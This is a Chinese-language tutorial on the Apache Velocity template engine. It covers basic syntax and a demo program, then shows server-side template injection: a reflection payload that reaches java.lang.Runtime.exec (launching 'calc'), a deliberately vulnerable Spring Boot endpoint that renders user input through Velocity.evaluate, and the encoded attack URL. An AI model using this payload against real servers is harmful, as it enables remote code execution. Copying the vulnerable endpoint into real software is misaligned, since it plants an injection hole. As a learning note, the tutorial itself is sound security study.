0%

Velocity SSTI

Velocity SSTI

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。

添加pom.xml依赖:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>

基本语法

语句标识符

#用来标识Velocity的脚本语句,包括#set#if#else#end#foreach#end#include#parse#macro等语句。

变量

1
$`用来标识一个变量,比如模板文件中为`Hello $a`,可以获取通过上下文传递的`$a

声明

set用于声明Velocity脚本变量,变量可以在脚本中声明

1
2
3
#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])

注释

单行注释为##,多行注释为成对出现的#* ............. *#

逻辑运算

1
== && || !

条件语句

if/else为例:

1
2
3
4
5
6
7
8
9
#if($foo<10)
<strong>1</strong>
#elseif($foo==10)
<strong>2</strong>
#elseif($bar==6)
<strong>3</strong>
#else
<strong>4</strong>
#end

单双引号

单引号不解析引用内容,双引号解析引用内容,与PHP有几分相似

1
2
3
#set ($var="aaaaa")
'$var' ## 结果为:$var
"$var" ## 结果为:aaaaa

属性

通过.操作符使用变量的内容,比如获取并调用getClass()

1
2
#set($e="e")
$e.getClass()

转义字符

如果$a已经被定义,但是又需要原样输出$a,可以试用\转义作为关键的$

基础使用

使用Velocity主要流程为:

  • 初始化Velocity模板引擎,包括模板路径、加载类型等
  • 创建用于存储预传递到模板文件的数据的上下文
  • 选择具体的模板文件,传递数据完成渲染

VelocityTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package Velocity;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;

import java.io.StringWriter;

public class VelocityTest {
public static void main(String[] args) {

VelocityEngine velocityEngine = new VelocityEngine();// 创建 Velocity 引擎
// 设置 Velocity 属性
//该代码指定了资源加载器类型为 file,意味着 Velocity 引擎将会从文件系统中加载模板文件。
velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
//该代码设置了文件资源加载器的基础路径,即模板文件所在的根目录。在这里,它被设置为 "src/test/resources",表示模板文件将会从该路径下进行加载。
velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/test/resources");
// 初始化 Velocity 引擎
velocityEngine.init();


// 设置数据模型
VelocityContext context = new VelocityContext();
context.put("name", "ycxlo");
context.put("project", "Velocity");


// 加载模板文件
Template template = velocityEngine.getTemplate("VelocityTest.vm");
// 合并模板文件和数据模型
StringWriter sw = new StringWriter();
template.merge(context, sw);
// 输出合并结果
System.out.println("final output:" + sw);
}
}

模板文件VelocityTest.vm

1
2
3
Hello World! The first velocity demo.
Name is $name.
Project is $project

输出结果

img

RCE

修改模板内容为恶意代码,通过java.lang.Runtime进行命令执行

1
2
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

首先构建一个漏洞代码服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package Velocity;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import java.io.StringWriter;

@Controller
class hhh {
@GetMapping("/ssti")
public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("name", "lisi");
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}
}
@SpringBootApplication
public class exp {

public static void main(String[] args) {
SpringApplication.run(exp.class, args);
}
}
1
2
3
4
5
6
7
8
9
10
11
Velocity.evaluate方法是Velocity模板引擎提供的一个核心方法,用于执行模板的渲染。它接受以下参数:

VelocityContext context:表示Velocity的上下文对象,用于传递模板中需要的数据。在这个上下文对象中,可以使用put方法添加变量供模板使用。

Writer writer:表示一个输出流对象,用于接收模板渲染后的结果。通常使用StringWriter或BufferedWriter等类的实例作为输出流。在示例中,使用的是StringWriter对象,将渲染结果输出到字符串中。

String logTag:表示日志标签,用于在日志中标识该次渲染操作。通常用于调试和日志记录目的。

String template:表示Velocity模板的内容,通常是一个包含Velocity语法的字符串。可以是硬编码的字符串,也可以是从外部获取的动态字符串。

在Velocity.evaluate方法的执行过程中,Velocity会根据模板中的语法和上下文中的数据进行替换和计算,最终将渲染结果输出到提供的Writer对象中。

启动服务后访问127.0.0.1:8080/ssti?template=%23set($e=”e”);$e.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(“calc”)

注意需要将#进行编码

img

底层原理有点复杂,等以后有能力再来看看